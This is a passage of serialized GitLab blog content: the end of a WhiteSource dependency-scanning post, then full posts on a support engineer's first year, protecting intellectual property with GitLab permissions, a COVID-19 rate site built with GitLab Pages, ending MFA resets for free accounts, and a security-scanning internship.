\"{{WEBHOOK_URL}}/securityReport?repoId=$CI_PROJECT_ID&repoName=$CI_PROJECT_NAME&ownerName=$CI_PROJECT_NAMESPACE&branchName=$CI_COMMIT_REF_NAME&defaultBranchName=$CI_DEFAULT_BRANCH&commitId=$CI_COMMIT_SHA\" -o gl-dependency-scanning-report-ws.json\n  artifacts:\n    paths:\n      - gl-dependency-scanning-report-ws.json\n    reports:\n      dependency_scanning:\n        - gl-dependency-scanning-report-ws.json\n    expire_in: 30 days\n```\n\nFor more details on the integration checkout [WhiteSource for GitLab](https://whitesource.atlassian.net/wiki/spaces/WD/pages/806191420/WhiteSource+for+GitLab).\nLearn more at [DevSecOps](/solutions/security-compliance/) and checkout the [Secure direction page](/direction/secure/) for more\ninformation on the upcoming features and integrations.\n\n## Learn more about application security at GitLab\n\n- [How application security engineers can use GitLab to secure their projects](/blog/secure-stage-for-appsec/)\n- [Get better container security with GitLab: 4 real-world examples](/blog/container-security-in-gitlab/)\n- [How to capitalize on GitLab Security tools with external CI](https://docs.gitlab.com/ee/integration/jenkins.html)\n\nCover image by [Alexandra Avelar](https://unsplash.com/@alexandramunozavelar) on [Unsplash](https://unsplash.com/s/photos/snow-capped-mountains)\n{: .note}\n",[110,674,232,1899,2509],{"slug":22344,"featured":6,"template":678},"whitesource-for-dependency-scanning","content:en-us:blog:whitesource-for-dependency-scanning.yml","Whitesource For Dependency Scanning","en-us/blog/whitesource-for-dependency-scanning.yml","en-us/blog/whitesource-for-dependency-scanning",{"_path":22350,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22351,"content":22356,"config":22361,"_id":22363,"_type":16,"title":22364,"_source":17,"_file":22365,"_stem":22366,"_extension":20},"/en-us/blog/working-for-gitlab-a-support-engineers-perspective",{"title":22352,"description":22353,"ogTitle":22352,"ogDescription":22353,"noIndex":6,"ogImage":18477,"ogUrl":22354,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22354,"schema":22355},"Working for GitLab - A Support Engineer's perspective","Reflecting on the last 12 months working for GitLab as a Support Engineer","https://about.gitlab.com/blog/working-for-gitlab-a-support-engineers-perspective","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Working for GitLab - A Support Engineer's perspective\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Anton Smith\"}],\n        \"datePublished\": \"2020-08-10\",\n      }",{"title":22352,"description":22353,"authors":22357,"heroImage":18477,"date":22340,"body":22359,"category":18484,"tags":22360},[22358],"Anton Smith","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nHi everyone! My name is Anton and I’m a Support Engineer at GitLab, where I have been working for the last 12 months, and I’d like to share my story with you all.\n\nLast Friday afternoon, I was on a Zoom call with a colleague discussing some customer tickets. It was during this time that my phone started ringing. Not recognizing the number, and having that curiosity of wondering who it could possibly be, I placed my Zoom call on mute and accepted the call on my phone. The person on the other end of the line turned out to be a recruiter I had reached out to over a year ago. They explained that they had seen my Linkedin profile earlier in the day and they thought I was the perfect fit for a Senior PHP Developer role that had just opened up. Thanking them for getting in touch, I informed them that I would review the information they provided and get back to them. Since I was still in a Zoom call, I unmuted that call and told my colleague about how random it was that a recruiter contacted me after all this time. We had a chuckle and then resumed our discussion on customer tickets. However  in the back of my mind, I continued to think about the recruiter’s offer. So here I am reflecting on the past 12 months and my time at GitLab.\n\nBefore joining the team at GitLab, I was a full stack web developer for 10 years and had no prior experience working in a pure support role. The shift from a development career to support wasn’t one made by my own choice. Unfortunately at my previous employer there were some redundancies happening so I thought this would be a good opportunity to look around and see what else was on offer. With PHP development roles in scarce supply in my city, I would’ve needed to shift to a larger city if I wanted to stay in the same type of work. It was by mere chance that I saw an ad for the GitLab Support Engineer role on Linkedin. I pondered on the idea of applying for the position.\n\nAs a web developer, I was already very familiar with the GitLab product and had been using and administering the GitLab product since the source days, before the Omnibus and CI were even a thing! I even remember back then, the GitLab logo kind of looked like a grumpy fox, nothing like what our logo looks like today! I was also blown away by the GitLab Handbook and how transparent the company was on a public level.\n\nSo, I thought, why not? Let’s apply at GitLab and see how it goes. \n\nTo my surprise, the interview process was a great experience. I was met with many smiles, and had engaging conversations with all the interviewers. I definitely saw myself working here. When I was offered the position, I was thrilled, but while the relief of securing a new position started to fade, the new challenge was only just beginning. \n\nWhen I started my first few days at GitLab, I was super excited about working for an awesome company full of inspiring people, but I was also super scared. From my perspective, I had just changed career types and was now transitioning from a development role into a support role. It was definitely a gamble changing career types. I had some idea of what I was getting myself into, but honestly I was really worried that I would not be able to fulfil my duties in Support effectively. I was worried the job would be too difficult. I was worried that my colleagues would think that I am incompetent and question why I was even at GitLab. I was worried I’d miss writing code as I once did in my development career. It was also the first remote job that I had ever worked, and I wondered if I would feel lonely working alone at home. There were several times when I questioned myself - did I make the right decision coming to GitLab? \n\nThe main contributing factor to settling into GitLab was just how awesome the team was in making me feel welcome. It took a while for me to warm up to everyone, as I admit I was a little afraid, but when I was stuck on something, the team was always willing to help and I am so grateful to be part of that. Every time I was on a Zoom call with the team, I was always met with a friendly smile, and was constantly told that I should take my time learning the role, and not try to rush into everything. While internally struggling with myself to ask questions I considered stupid, I was encouraged to ask them anyway, because someone else might have the same question and as the saying goes “ there is no such thing as a silly question”.\n\nWith some determination, perseverance, and encouragement from the rest of the Support team, I began to feel better about my situation and gain more confidence in my role. With the GitLab application and its components being as big as they are, I quickly realised that I would not be able to learn everything in depth and should spend some time specialising in specific areas so I could feel competent in my role. \n\nUsing that logic, I took an interest to GitLab Geo in the early days, and I am now one of the Geo experts for the Asia Pacific region. One of the other initiatives I am currently working towards is learning about Kubernetes as we are seeing more customers run GitLab on this platform. Kubernetes is a fascinating topic for me and it’s definitely something I would have never explored as a web developer. Basically, I became a knowledge sponge and have been continuously assimilating information ever since.\n\nWith the change in role when moving to GitLab, I started out discounting the usefulness of my previous skills but shortly realised that they were invaluable in contributing to the team. I came across a pain point with downloads from Zendesk, our customer ticket system and how the downloads all went to a single folder. Using my web development skills, I built a browser extension that sorted ticket downloads into separate folders for myself. I remember hesitantly sharing this with the Support team, and I was stunned that so many of my colleagues were actually so happy that I created the extension. This encouraged me to get more involved with further initiatives with the team.\n\nAs time flew by, I continued to build on my confidence, learning more about the role and the GitLab ecosystem. I was always looking forward to sitting down at my desk everyday to work, especially to work alongside my colleagues in real time via Zoom on fascinating problems that customers were facing. As an ex web developer, I was always one that enjoyed the journey in solving a problem, the twists and turns that might pop up, and how to overcome any unknowns. I also jumped into Rails whenever I got a chance, as some problems require Ruby code to be written for customers to run, which satisfied my coding urges. These commonalities were also present in my role as a Support Engineer, which allowed me to easily migrate across the roles. There are some things in my job I still find scary, but it’s a good scary, as I see it as another challenge to take head on. Plus, if I can’t figure it out, there is a strong team I work alongside and they are always happy to offer some help if I get stuck.\n\nAfter reflecting on the past 12 months at GitLab, I then started thinking about the call I received from the recruiter. Sure, I had many doubts when I started and had experienced many high moments as well as low moments, but I definitely felt like being a Support Engineer was the right career for me. I feel like the leap of faith I took a year previously and changing career types had definitely paid off. I feel like a valued team member at GitLab and love how I work with a diverse group of people from all walks of life across the globe. I would not trade that experience for anything.\n\nThe next day, I called the recruiter back, and I politely declined their job offer, explaining that I now work remotely for a US company called GitLab and I love working for them. The recruiter of course was disappointed, but they also understood why I didn't want to leave.\n\nSometimes it’s a good idea to stop, look back and reflect. I quickly realised that I have achieved so much and positively impacted so many people over that time. I was so excited and scared when starting work at GitLab due to switching career paths, and I had many doubts. I’m glad I took a chance and saw it through. I can’t imagine myself working anywhere else.\n\n",[7715],{"slug":22362,"featured":6,"template":678},"working-for-gitlab-a-support-engineers-perspective","content:en-us:blog:working-for-gitlab-a-support-engineers-perspective.yml","Working For Gitlab A Support Engineers Perspective","en-us/blog/working-for-gitlab-a-support-engineers-perspective.yml","en-us/blog/working-for-gitlab-a-support-engineers-perspective",{"_path":22368,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22369,"content":22375,"config":22380,"_id":22382,"_type":16,"title":22383,"_source":17,"_file":22384,"_stem":22385,"_extension":20},"/en-us/blog/how-gitlab-protects-your-ip",{"title":22370,"description":22371,"ogTitle":22370,"ogDescription":22371,"noIndex":6,"ogImage":22372,"ogUrl":22373,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22373,"schema":22374},"How GitLab protects your IP","There are many ways in which hosting intellectual property in GitLab is not only secure but also flexible and invites collaboration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667110/Blog/Hero%20Images/how-gitlab-protects-your-ip.jpg","https://about.gitlab.com/blog/how-gitlab-protects-your-ip","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab protects your IP\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jordi Mon\"}],\n        \"datePublished\": \"2020-08-07\",\n      }",{"title":22370,"description":22371,"authors":22376,"heroImage":22372,"date":22377,"body":22378,"category":734,"tags":22379},[21960],"2020-08-07","\n## How safe is your IP?\n\nOne of the main assets of any company is stored in the shape of code. The originality of the code makes it intellectual property, and thus companies would like it to be protected. But storing it safely away from others will hinder the same effort that brought it to life: Collaboration. So how can companies keep their IP safe while allowing their employees to work on its maintenance and development?\n\nGitLab repos, whether hosted online or privately, store one of the most valuable things your company is able to create: The digital assets used to build software products and services. GitLab is designed to make versioning and the collaboration over those assets as seamless and productive as possible.\n\nAlbeit that, is GitLab a safe place to store such valuable assets?\n\nLet's explore user access within GitLab and to what extent these users can access your company's IP.\n\n## Ways to access GitLab\n\n### LDAP, active directory, SAML, SSO\n\nFor the self-managed solution, GitLab is able to connect to any Lightweight Direct Access Portal (LDAP) service that is already set up and validate which users have access permissions. Users that access GitLab instances with LDAP on will have access only to the groups and projects assigned to them. The same is applicable to active directory.\n\nIf you are using GitLab.com, Security Assertion Markup Language (SAML) technology will mostly do the same described above. System for Cross-domain Identity Management (SCIM), the open standards running beneath SAML, is currently supported for Okta and and Azure but it will have broader support in the future. For example, check single sign-on (SSO) for enterprises or the general direction of this category.\n\n## How users are organized in GitLab\n\nAssigning roles with permissions is an easy way to know which user will be able to access and make changes to the IP.\n\nThere are six roles:\n\n| Guest | Auditor | Developer | Reporter | Maintainer | Owner |\n|:--|:--|:--|:--|:--|:--|\n|  |  |  |  |  |  |\n\nBy default all users have the following permissions in a project:\n\n* Create issues\n* Leave comments\n* Clone or download the project code\n\nBut these are the specific definitions for each user role:\n\n1. **Guests** are not active contributors in private projects. They can only view, and leave comments on issues.\n1. **Auditors** are given read-only access to all projects, groups, and other resources on the GitLab instance.\n2. **Reporters** are read-only contributors: They can't write to the repository, but can write on issues.\n3. **Developers** are direct contributors, and have access to everything to go from idea to production, unless something has been explicitly restricted (e.g., through branch protection).\n4. **Maintainers** are super-developers: They can push to main (master) and deploy to production. This role is often held by maintainers and engineering managers.\n\nSo what's happening at the project level? Well, the meat of it: Collecting requirements, defining user stories, prune and groom backlog, and merge requests are popping up like branches. It is at the project level where these four roles interact. But they don't do it only with the permissions their role provides them. There are other features at this level that can stop them or enable them to do certain things that will allow the project owners to parcel and control who's doing what to the IP hosted in the repo. Let's look at these features.\n\n## Where is my IP stored?\n\nIntellectual property is stored in repos, projects, and groups. Let's first step back and explain what the structure of these elements in GitLab looks like. Once we have a clear understanding of what and where information is stored, we can then jump to explaining who can access what information.\n\n### Repos\n\nA repo is a folder that lives either on your machine or on GitLab.com. It is what Git tracks every time you add and commit a change. It hosts your code and all the branches.\n\n### Projects\n\nRepos are the core part of every project. This is where GitLab's core [version control and collaboration](/topics/version-control/) capabilities shine. GitLab has project management features such as epics, subepics and issues, Wikis, GitLab pages, a Web IDE and many more features that make the repo the central part of a fully-featured source code workflow.\n\n### Groups\n\nGroups are a collection of projects. Members of groups with permissions will keep those permissions on every project included in the Group.\n\n5. Admin-only features can only be found in /admin. Outside of that, admins are the same as the highest possible permission (owner).\n6. Owners are essentially group-admins. They can give access to groups and have destructive capabilities.\n\nWatch the video below for a deep dive into repos, projects, and groups.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/4TWfh1aKHHw\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n## How is my IP protected?\n\n### Protected branches\n\n[Protected branches](https://docs.gitlab.com/ee/user/project/protected_branches.html) are a simple method to keep IP protected. But if copies can be made, protected branches control who has access to those copies and for what purpose those copies are created.\n\n* Protect branches (PB) prevents everybody except users with *maintainer* permission from creating them.\n* PB prevents pushes from everybody except users with *allowed* permission.\n* PB prevents anyone from force pushing to the branch.\n* PB prevents anyone from deleting the branch.\n\nThese settings allow maintainers to forbid all pushes but allow incoming merges from developers. This forces every developer willing to make changes to the PB to open an MR. This exposes the changes he or she wants to commit and makes them subject to other security measures we will cover later, like push rules or MR approvals.\n\nAlso, pipeline security is a consequence of protected branches and you can read more about it [here](https://docs.gitlab.com/ee/user/project/repository/push_rules.html).\n\n### Protected tags\n\nAdding [protected tags](https://docs.gitlab.com/ee/user/project/protected_tags.html) to your repo is like bookmarking it in a way. The ability to label commits allows you to add details and context to what is happening at that point in time.\nIf a tag becomes an important milestone for the project you might as well protect it, right? That's is why only *maintainers* are allowed to create tags and, if protected, no one apart from them will be able to delete or modify them.\n\n### Push rules\n\nWe use [push rules](https://docs.gitlab.com/ee/user/project/repository/push_rules.html) at GitLab which prevents the majority of contributors from pushing directly to the main branch. We use GitLab Flow because we want to make small batch changes fast but also because we want to collaborate with our team members. A merge request flow like GitLab Flow does not push code to the main branch. This behavior, however, can be very common when working with Git.\nSo, push rules will use regular expression to scan commit messages, branch names or file details to prevent pushes from happening. These rules are usually used to enforce consistency throughout pushes. They allow teams to stay compliant with naming conventions, for example, or keep pushes linked to specific requirements by parsing for issue numbers. Non-GPG signed pushes can be automatically rejected with this feature too.\nThe possibilities are endless since push rules can be [customized](https://docs.gitlab.com/ee/development/changelog.html). Learn [here](https://docs.gitlab.com/ee/push_rules/push_rules.html#enabling-push-rules) what push rules are available on each tier.\n\n### Merge request approvals\n\nA merge request (MR) is a branch and the start to a conversation. When you open an MR you have effectively created a copy of the main branch hosted in the repo so you can make changes. Since the main branch is the IP's most valuable asset, all changes made in the opened MR [should require some extra sets of eyes on them](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/). When this feature is set it enforces code review. Does this imply that all changes will be reviewed by all team members? No, this feature can be customized in many ways.\n\nFirst, you can set approval rules that define how many approvals are required for the code change to be merged. You can even designate specific approvers, such as team lead. Designating approvers can be done in each MR or at the project level. If you know the MR may only affect the backend of the project, you might specify reviewer categories such as backend or database, QA and so on.\n\nOne special category is security. GitLab considers the [DevSecOps](/topics/devsecops/) use case as one of the fundamental trends in software development and is committed to provide the best security capabilities to software engineering teams.\nAmong other things, the ability to shift security checks left allows devs to run static code analysis at the rest level, and there is a [specific MR approval](/solutions/security-compliance/) that will prevent any MR from moving forward if certain security criteria are not met.\nTypically, these SASTs will look for security vulnerabilities and license compliance violations. Security teams can address problems that otherwise would have compounded by setting approvals to trigger when vulnerabilities or license violations are detected. DevSecOps with GitLab will automate security and compliance workflows to create an adaptable process for your development and security teams to work faster and better together.\n\n### Code owners\n\nThe code owners feature assigns ownership of files or paths to a certain group or user. Generally, this measure will allow the MR creator to determine who is the main stakeholder of certain files. Assigning code ownership fosters collaborative behaviors from users, such as asking for permission to merge or just requesting guidance. It becomes especially useful if the question for the code owner is unrelated to a code review or a MR approval.\nCode owners can become approvers of MRs if set to do so in an approval rule. Combining code ownership with protected branches is a good way to get more granular control over certain files and the changes applied on them.\n\n## How can I trace access and changes to my IP?\n\n### Audit events\n\nThe final method for controlling the security of your IP is by monitoring user activity. As in any other project management tool, users can access information in GitLab in many different ways and can interact with that information on multiple levels. The admin should be able to control events and stop those that do not comply with corporate policy. Access control and audit trails can provide increased layers of security and traceability that will improve your IP storage compliance.\n\n## How does this all work out for me?\n\nWell, you can follow the example of Northwestern Mutual. They manage permissions as code by dedicating a complete repo to host and manage their groups, teams, and deploy keys. Meaning, when a team wants to create a project that requires new roles, new access permissions, protected branches, etc., they’ll create an MR in the repo and submit those changes to the code owner for approval. Remember, in GitLab a MR is more than just a branch, it's also the start to a conversation, or even a proposed code change. This proposal particularly would imply changes in a yaml file that contain all admin level permissions.\n\nWatch the Northwestern Mutual team describe this in detail at GitLab Commit Brooklyn 2019:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/W1YMBc6kwUE\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nCover image by [Jon Moore](https://unsplash.com/@thejmoore) on [Unsplash](https://unsplash.com/photos/bBavss4ZQcA)\n{: .note}\n",[674,2368],{"slug":22381,"featured":6,"template":678},"how-gitlab-protects-your-ip","content:en-us:blog:how-gitlab-protects-your-ip.yml","How Gitlab Protects Your Ip","en-us/blog/how-gitlab-protects-your-ip.yml","en-us/blog/how-gitlab-protects-your-ip",{"_path":22387,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22388,"content":22394,"config":22399,"_id":22401,"_type":16,"title":22402,"_source":17,"_file":22403,"_stem":22404,"_extension":20},"/en-us/blog/gitlab-pages-for-covid",{"title":22389,"description":22390,"ogTitle":22389,"ogDescription":22390,"noIndex":6,"ogImage":22391,"ogUrl":22392,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22392,"schema":22393},"Using GitLab Pages to Report Local COVID-19 Rates","How I used GitLab pages to publish up-to-date local infection rates.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681476/Blog/Hero%20Images/thisisengineering-raeng-0jTZTMyGym8-unsplash.jpg","https://about.gitlab.com/blog/gitlab-pages-for-covid","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Using GitLab Pages to Report Local COVID-19 Rates\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Nohr\"}],\n        \"datePublished\": \"2020-08-06\",\n      }",{"title":22389,"description":22390,"authors":22395,"heroImage":22391,"date":22396,"body":22397,"category":18484,"tags":22398},[13099],"2020-08-06","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n## Finding Local COVID Rates\n\nI live in the U.S. state of Minnesota. Recently the state government provided recommendations for how and when to open schools in the fall. The guidance was based on the infection rates of the COVID-19 disease. In simple terms, the higher the rates, the less in-person the school should be. The actual calculation I needed was:  \n\n```\ntotal number of cases in your area over the past 2 weeks per 10,000 residents\n````\n\nI have three kids in school, so when I heard this recommendation I went to find out this value for my area. It turned out to be a difficult statistic to find. Along with the announcement my state government released a set of data, but it was about three weeks behind the current rates. I found different sets of data available, but they either reported the daily case rate or a total count of infections, not this very specific calculation.\n\nSee Also:\n- [GitLab's Handbook on COVID-19 benefits](https://about.gitlab.com/handbook/total-rewards/benefits/covid-19/)\n- [How an analytics software startup took aim at COVID-19](https://about.gitlab.com/blog/startup-covid-tracking/)\n\n## GitLab Pages to the Rescue\n\nI started by manually calculating the values with the data that I could find. This worked, but every time there were updated statistics, I had to go back and recalculate the value. I wanted a way to have this information available for me and others with the up-to-date information whenever I looked at it.\n\nMy process and output quickly evolved:\n\n1. I decided I would just write a script to download the data and do the calculation for me\n1. Once I had this working I thought the next step would be to automatically graph the results \n1. Then I thought I could publish the graphs on a website \n1. If I was going to publish them, I thought the best thing to do to get this done quickly would be to use [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/).\n\nThe result is a simple static website: [https://mattnohr.gitlab.io/covid-county/](https://mattnohr.gitlab.io/covid-county/)\n\n![Example Chart from website](https://about.gitlab.com/images/blogimages/gitlab-pages-for-covid/output-chart.png){: .shadow.center}\n\n## How It Works\n\nThe basic flow for my new “system” is:\n\n```plantuml\n(*) --> \"Download data\"\n--> \"Calculate the rates\"\n--> \"Create a new .csv file with daily calculated values\"\n--> \"Publish .csv file to GitLab pages\"\n--> \"Use GitLab pages to serve static website that reads .csv\"\n--> (*)\n```\n\nThe first few steps are done with a simple [Kotlin](https://kotlinlang.org/) script that is run using the [Gradle build tool](https://gradle.org/). I used [GitLab CI/CD](https://docs.gitlab.com/ee/ci/) pipelines to run a job to do that automatically. You can find an [example gradle .gitlab-ci.yml file here](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Gradle.gitlab-ci.yml). The basics of this step for me look like:\n\n```yml\nbuild:\n  stage: build\n  script: gradle --build-cache run\n```\n\nThe next step was to get it published to GitLab pages. That also used a GitLab CI/CD job. It simply needed to move the .csv results out of the build directory into the “public” directory that is used to host GitLab pages. \n\n```yml\npages:\n  stage: deploy\n  dependencies:\n    - build\n  script:\n    - mv build/data.csv public/\n```\n\nThe actual static webpage uses [d3.js](https://d3js.org/) that is able to read the data from a .csv file and graph it.\n\nMy GitLab project can be found here: [https://gitlab.com/mattnohr/covid-county](https://gitlab.com/mattnohr/covid-county)\n\n## Running on a Schedule\n\nOnce I had the system up and running with GitLab CI, I was able to use [GitLab Pipeline Schedules](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) to run the script a few times a day to get updated data. Now I do not have to worry about when the data is updated, I can just review my GitLab Pages site to see the latest values.\n\nPipeline Scheudles let you easily schedule pipelines daily, weekly, or monthly. Since I wanted this to run multiple times a day, I used a cron schedule to run the pipeline 4 times a day on weekdays:\n\n```\n0 8,12,16,20 * * 1-5\n```\n\n## Result\n\nNow I have a [simple website](https://mattnohr.gitlab.io/covid-county/) that has the most up-to-date calculations for this specific value for my local area. Now I just need to wait for our local school board to make a final decision on how schools will look!\n\n\u003C!-- image: image-url -->\nCover image by [@ThisisEngineering RAEng](https://unsplash.com/@thisisengineering) on [Unsplash](https://unsplash.com/photos/0jTZTMyGym8)\n{: .note}",[534,1899,942,110],{"slug":22400,"featured":6,"template":678},"gitlab-pages-for-covid","content:en-us:blog:gitlab-pages-for-covid.yml","Gitlab Pages For Covid","en-us/blog/gitlab-pages-for-covid.yml","en-us/blog/gitlab-pages-for-covid",{"_path":22406,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22407,"content":22412,"config":22417,"_id":22419,"_type":16,"title":22420,"_source":17,"_file":22421,"_stem":22422,"_extension":20},"/en-us/blog/gitlab-support-no-longer-processing-mfa-resets-for-free-users",{"title":22408,"description":22409,"ogTitle":22408,"ogDescription":22409,"noIndex":6,"ogImage":17364,"ogUrl":22410,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22410,"schema":22411},"GitLab Support is no longer processing MFA resets for free users","From August 15th, GitLab Support will no longer be manually removing MFA from free accounts.","https://about.gitlab.com/blog/gitlab-support-no-longer-processing-mfa-resets-for-free-users","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Support is no longer processing MFA resets for free users\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lyle Kozloff\"}],\n        \"datePublished\": \"2020-08-04\",\n      }",{"title":22408,"description":22409,"authors":22413,"heroImage":17364,"date":22414,"body":22415,"category":736,"tags":22416},[5706],"2020-08-04","\n\nBack in 2018, I wrote a blog post on [Keeping your GitLab account safe (and accessible)](/blog/keeping-your-account-safe/) in which I outlined some of the ways that our users could make sure that they were keeping their accounts secure and recoverable.\n\nFast-forward to 2020 and GitLab as a company has matured. Today our users are starting to face attack-vectors that were previously unheard of on GitLab.com. As a result, we don’t want our security practices to be only going through the motions of security. We’ve all seen examples of companies whose Multi-Factor Authentication (MFA) reset policies negate the security benefits of MFA on accounts. \n\nToday we’re announcing a change that will put account security wholly in the hands of our users.\n\n**As of Aug. 15th, 2020, GitLab Support will no longer process MFA resets for free accounts.**\n\nThis change means that if you’re using GitLab with MFA you will want to ensure that you have an appropriate set of backup methods to recover your account.\n\nNamely:\n- (Re)generate recovery codes and store them in a secure location\n- Use a hardware token whenever possible\n- Add an [SSH key](/solutions/source-code-management/) to your account to allow the generation of backup codes\n\nIf you are caught where you are not able to provide your MFA token and without these backup methods,  your account will be irrecoverable. \n\n### FAQ:\n\n#### What if I accidentally lose my phone/recovery keys or get a new laptop and forget to back up my SSH key?\n\nIf you lose your primary authentication method and all backup methods, your account will be irrecoverable.\n\n#### What if this is a work account?\n\nFor accounts occupying a paid seat, created with a company email address, [MFA resets can still be requested](/handbook/support/workflows/account_verification.html#access-with-support-intervention). There will be a minimum three business-day processing time and you'll be required to pass a number of security challenges to verify account ownership.\n\n#### I don’t like this and I want to tell someone.\n\nWe’re [accepting community feedback in this forum post](https://forum.gitlab.com/t/draft-gitlab-support-is-no-longer-processing-mfa-resets-for-free-users/40905), and invite contributors to share there. \n\n#### Can I add my phone number as a recovery method?\n\nWe’re discussing this in the [forum post](https://forum.gitlab.com/t/draft-gitlab-support-is-no-longer-processing-mfa-resets-for-free-users/40905), but phone numbers as a recovery method are problematic in many countries. \n\n#### Can I add X as a recovery method?\n\nGitLab is developed in collaboration with the wider community. We’re accepting merge requests and feature proposals in [gitlab.com/gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab/) and look forward to building together.\n\n_Learn more about [security best practices for your GitLab instance](/blog/gitlab-instance-security-best-practices/)._\n{: .alert .alert-info .text-center}\n",[267,674,736,815],{"slug":22418,"featured":6,"template":678},"gitlab-support-no-longer-processing-mfa-resets-for-free-users","content:en-us:blog:gitlab-support-no-longer-processing-mfa-resets-for-free-users.yml","Gitlab Support No Longer Processing Mfa Resets For Free Users","en-us/blog/gitlab-support-no-longer-processing-mfa-resets-for-free-users.yml","en-us/blog/gitlab-support-no-longer-processing-mfa-resets-for-free-users",{"_path":22424,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22425,"content":22430,"config":22435,"_id":22437,"_type":16,"title":22438,"_source":17,"_file":22439,"_stem":22440,"_extension":20},"/en-us/blog/security-scan-experience",{"title":22426,"description":22427,"ogTitle":22426,"ogDescription":22427,"noIndex":6,"ogImage":18477,"ogUrl":22428,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22428,"schema":22429},"My experience interning to work with security scanning at GitLab","Experience with doing a 4 week internship implementing security scans","https://about.gitlab.com/blog/security-scan-experience","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"My experience interning to work with security scanning at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eric Rosenberg\"}],\n        \"datePublished\": \"2020-08-04\",\n      }",{"title":22426,"description":22427,"authors":22431,"heroImage":18477,"date":22414,"body":22433,"category":18484,"tags":22434},[22432],"Eric Rosenberg","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nMy name is Eric Rosenberg and I am a support engineer at GitLab.  I’ve always had an interest in security and have spent my support career with \na goal in mind to one day work in a security position.  After speaking with some of our security team members, and directors, I was chosen to\nparticipate in a 4 week security internship to implement security scanners on some selected open source projects that we have hosted on GitLab.\n\nI wanted to explain the details of my internship and share my experience to hopefully help others that may be chosen for similar internships, \nand also spread knowledge about the scanners that GitLab offers.\n\nThe internship that I took part in was to integrate [GitLab Secure](https://docs.gitlab.com/ee/user/application_security/) features into \nopen-source projects that are hosted on GitLab.com to improve those projects, increase awareness of GitLab’s security offerings, and get us \nvaluable feedback to help us improve the product.  Some of the goals to achieve personally were to help others understand how simple it is to \nadd security into their pipelines, build my knowledge of using our scanners and working through any issues along the way, and to help provide \nfeedback not only to the project owners but also back to GitLab.\n\n## What I did\n\nMy first week was mainly prep work in order to find a few projects that I could reach out to, and hopefully work with, the project’s \nmaintainers/owners.  I wanted to explain the internship, what my goals were, and how the security scans could be beneficial.  I also wanted to \nhave a stable testing environment that I could copy the project over to, so that I would not interfere with their project, just in case they \ndid not want to participate and also so I would not make any changes that could potentially cause issues on their end. I wanted to also run \nthrough all of the [security scan types](https://docs.gitlab.com/ee/user/application_security/#security-scanning-tools) on my own projects so \nthat I could become more familiar with what the scans were, how to use them, and how to read their output.  I decided to focus mainly on \nproject [ASE](https://gitlab.com/ase/ase) as the project owner was happy to have some extra added security, as well as a point of contact for \nquestions on scanning their code.\n\nThe second week I had a project owner, [ASE](https://gitlab.com/ase/ase), reply to my email and was very interested in working with me.  He \nexplained he was busy and may not have a lot of time to communicate with me, however he was happy to have me take lead and add the scans so \nthat I could provide the results back to him.  I was able to copy the project to my test instance, run the scans, provide the results, and in \nthe end submit an MR so that they could implement the scans on their end and use them moving forward.  \n\nThe third week was mainly focussed on the results from the scans and helping provide the answers to many questions the project owner had.  This \nwas expected and greatly appreciated from my point of view as this not only showed me that the project owner had a lot of interest in keeping \nthe project secure, but it challenged me to work with the members of our security team and build my knowledge of what needed to be done so that \nI was able to then relay this information back to the project owner.  I felt that I gained a lot of information and towards the end of the \nweek, I was very comfortable discussing steps to not only use the scanners but to make changes to the code to keep things secure.  Using the \nSAST scanner (Static Application Security Testing) I was able to scan the Ruby code and print out known vulnerabilities within the Security & \nCompliance dashboard within the admin area.  One of the things I found interesting was finding “false negatives” when it came to the \nvulnerability report.  For example: “Password in URL detected; please remove and revoke it if this is a leak.”  This would cause alarm to \nanyone that views this in their security & compliance dashboard, however after taking a further look, the password that was being displayed was \nonly an example, which caused no issues.  \n\nMy fourth week I wanted to dedicate to wrapping up my internship and providing as much feedback as possible.  I was able to keep notes along \nthe way, as well as one on one meetings with my internship mentor every week.  I felt that the communication was amazing when it was needed.  I \nwas able to reach out over slack anytime and either receive the answers I needed, or I was pointed in the correct location so that I could \ndiscuss with the team.\n\n## Closing Thoughts\n\nSome feedback I would like to add is that the timing, while being sufficient enough to handle what I needed, was not long enough for what I \nwould have hoped for.  I would have wished for more time to work on different projects, with different project owners, in order to provide a \nbetter outcome of variety within the time of my internship.  That being said, since security is still a focus of mine, I am glad that GitLab 